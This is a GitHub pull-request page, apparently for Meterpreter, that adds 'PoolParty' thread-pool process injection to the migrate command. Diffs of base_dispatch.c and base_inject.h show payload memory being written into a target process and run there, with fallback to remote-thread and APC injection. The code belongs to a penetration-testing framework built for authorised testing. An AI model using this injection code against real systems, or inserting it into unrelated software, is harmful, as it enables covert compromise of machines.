Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Injection using PoolParty #710

Merged
merged 34 commits into from
Oct 30, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
34 commits
Select commit Hold shift + click to select a range
ce38778
feat(injection): adding pool-party injection
dledda-r7 Aug 1, 2024
7f66532
feat(injection): update base_inject to support inject_via_poolparty, …
dledda-r7 Aug 1, 2024
25ee5de
feat(injection): update base_dispatch to use inject_via_poolparty whe…
dledda-r7 Aug 1, 2024
51a086b
chore(metsrv): including poolparty sources and headers to Visual Stud…
dledda-r7 Aug 1, 2024
6984d02
chore(gitignore): adding .vscode in gitignore
dledda-r7 Aug 1, 2024
c6d066f
feat(injection): improving x64 shellcode, adding draft x86 shellcode
dledda-r7 Aug 7, 2024
af77eda
feat(injection): adding hTriggerEvent to POOLPARTYCONTEXT
dledda-r7 Aug 7, 2024
cef2e6c
feat(injection): commenting unused ntdll functions
dledda-r7 Aug 7, 2024
c40d08a
feat(injection): improving ntdll functions fetch, adding remote_tp_di…
dledda-r7 Aug 7, 2024
b27aed9
debug(injection): update migration to force pool-party injection with…
dledda-r7 Aug 7, 2024
f1492da
feat(injection): adjusting SetLastError when injection fails
dledda-r7 Aug 9, 2024
dc30ecc
feat(injection): updating x86 shellcode
dledda-r7 Aug 9, 2024
9e9bb67
feat(injection): improving error handling
dledda-r7 Aug 9, 2024
2af3fe5
feat(injection): improving logging and error handling
dledda-r7 Aug 9, 2024
cba5884
debug(injection): inject_via_poolparty using remote_tp_wait_insertion
dledda-r7 Aug 9, 2024
2a45039
debug(injection): inject_via_poolparty using remote_tp_direct_insertion
dledda-r7 Aug 9, 2024
7eab552
feat: improving remote handles fetching, tp_direct_insertion support …
dledda-r7 Aug 30, 2024
ebe086f
feat: draft of worker_factory_routine_overwrite technique
dledda-r7 Aug 30, 2024
a97444d
feat: attempt to have x64->wow64 injection with tp_direct_insertion
dledda-r7 Aug 30, 2024
b18df9c
fix: handling WoW64 injection destinationArch
dledda-r7 Sep 2, 2024
86b7920
fix(shellcode): removed unused shellcodes, updated poolparty_stub_x64
dledda-r7 Sep 26, 2024
cc408de
feat(injection): improved system check to ensure poolparty is support…
dledda-r7 Sep 26, 2024
37c61a2
fix(injection): fix mingw compilation error
dledda-r7 Sep 26, 2024
3fff5a0
docs(shellcode): add reference to poolparty stub
dledda-r7 Sep 30, 2024
ae96c17
fix(injection): review changes
dledda-r7 Oct 3, 2024
1ebf2ac
fix(injection): review changes
dledda-r7 Oct 4, 2024
00d1a72
fix(injection): review changes
dledda-r7 Oct 4, 2024
1b65a58
fix(injection): review changes
dledda-r7 Oct 4, 2024
ff182d1
fix(injection): review changes
dledda-r7 Oct 7, 2024
a748508
fix(injection): review changes
dledda-r7 Oct 21, 2024
8e533ec
fix(injection): fix msvc compilation error
dledda-r7 Oct 21, 2024
f34bb48
fix(injection): fix arch support logic
dledda-r7 Oct 23, 2024
7d43490
fix(injection): fix arch support logic
dledda-r7 Oct 23, 2024
b85ceb0
fix(injection): fix arch support logic
dledda-r7 Oct 23, 2024
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@
*.suo
.vs
*.user
.vscode
45 changes: 30 additions & 15 deletions c/meterpreter/source/metsrv/base_dispatch.c
Original file line number Diff line number Diff line change
Expand Up @@ -539,7 +539,9 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul

MetsrvConfig* config = NULL;
DWORD configSize = 0;


BOOL bPoolParty = FALSE;
DWORD dwProcessAccess;
do
{
response = packet_create_response(packet);
Expand Down Expand Up @@ -568,7 +570,8 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s", dwProcessID, dwDestinationArch == 2 ? "x64" : "x86");
dprintf("[MIGRATE] Attempting to migrate. PayloadLength=%d StubLength=%d", dwPayloadLength, dwMigrateStubLength);

// If we can, get SeDebugPrivilege...
bPoolParty = supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch);

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
TOKEN_PRIVILEGES priv = { 0 };
Expand All @@ -587,8 +590,11 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
CloseHandle(hToken);
}

// Open the process so that we can migrate into it
hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID);
dwProcessAccess = PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ;
dwProcessAccess |= PROCESS_CREATE_THREAD;

hProcess = OpenProcess(dwProcessAccess, FALSE, dwProcessID);

if (!hProcess)
{
BREAK_ON_ERROR("[MIGRATE] OpenProcess failed")
Expand Down Expand Up @@ -630,6 +636,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul

dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent);


// Allocate memory for the migrate stub, context, payload and configuration block
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpMemory)
Expand All @@ -639,7 +646,6 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul

// Calculate the address of the payload...
ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize;

// Write the migrate stub to memory...
dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
Expand Down Expand Up @@ -670,20 +676,29 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul

free(ctx);

// First we try to migrate by directly creating a remote thread in the target process
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread...");

// If that fails we can try to migrate via a queued APC in the target process
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
if (bPoolParty) {
dwResult = inject_via_poolparty(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS;
if (dwResult != ERROR_SUCCESS){
// If we fail injecting with poolparty, we reset the dwResult and set the bPoolParty to FALSE to make the next if-clause true.
bPoolParty = FALSE;
dwResult = ERROR_SUCCESS;
dprintf("[MIGRATE] inject_via_poolparty failed, proceeding with legacy injection.");
}
}

dwResult = ERROR_SUCCESS;
if (!bPoolParty) {
// First we try to migrate by directly creating a remote thread in the target process
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread...");

// If that fails we can try to migrate via a queued APC in the target process
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
{
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
}
}
}
} while (0);

SAFE_FREE(config);
Expand Down
322 changes: 229 additions & 93 deletions c/meterpreter/source/metsrv/base_inject.c

Large diffs are not rendered by default.

27 changes: 26 additions & 1 deletion c/meterpreter/source/metsrv/base_inject.h
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
#define MIGRATE_TECHNIQUE_REMOTETHREAD 0
#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1
#define MIGRATE_TECHNIQUE_APCQUEUE 2
#define MIGRATE_TECHNIQUE_POOLPARTY 3

//===============================================================================================//

Expand Down Expand Up @@ -65,16 +66,40 @@ typedef struct _WOW64CONTEXT
} t;
} WOW64CONTEXT, * LPWOW64CONTEXT;

// The context used for injection via migrate_via_poolparty
typedef struct _POOLPARTYCONTEXT
{
union
{
LPVOID lpStartAddress;
BYTE bPadding[8];
} s;

union
{
LPVOID lpParameter;
BYTE bPadding[8];
} p;

union
{
LPVOID hTriggerEvent;
BYTE bPadding[8];
} e;

} POOLPARTYCONTEXT, * LPPOOLPARTYCONTEXT;

//===============================================================================================//

DWORD inject_via_apcthread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);

DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);

DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);

DWORD inject_dll(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);

BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch);
//===============================================================================================//
#endif
//===============================================================================================//
Loading
Loading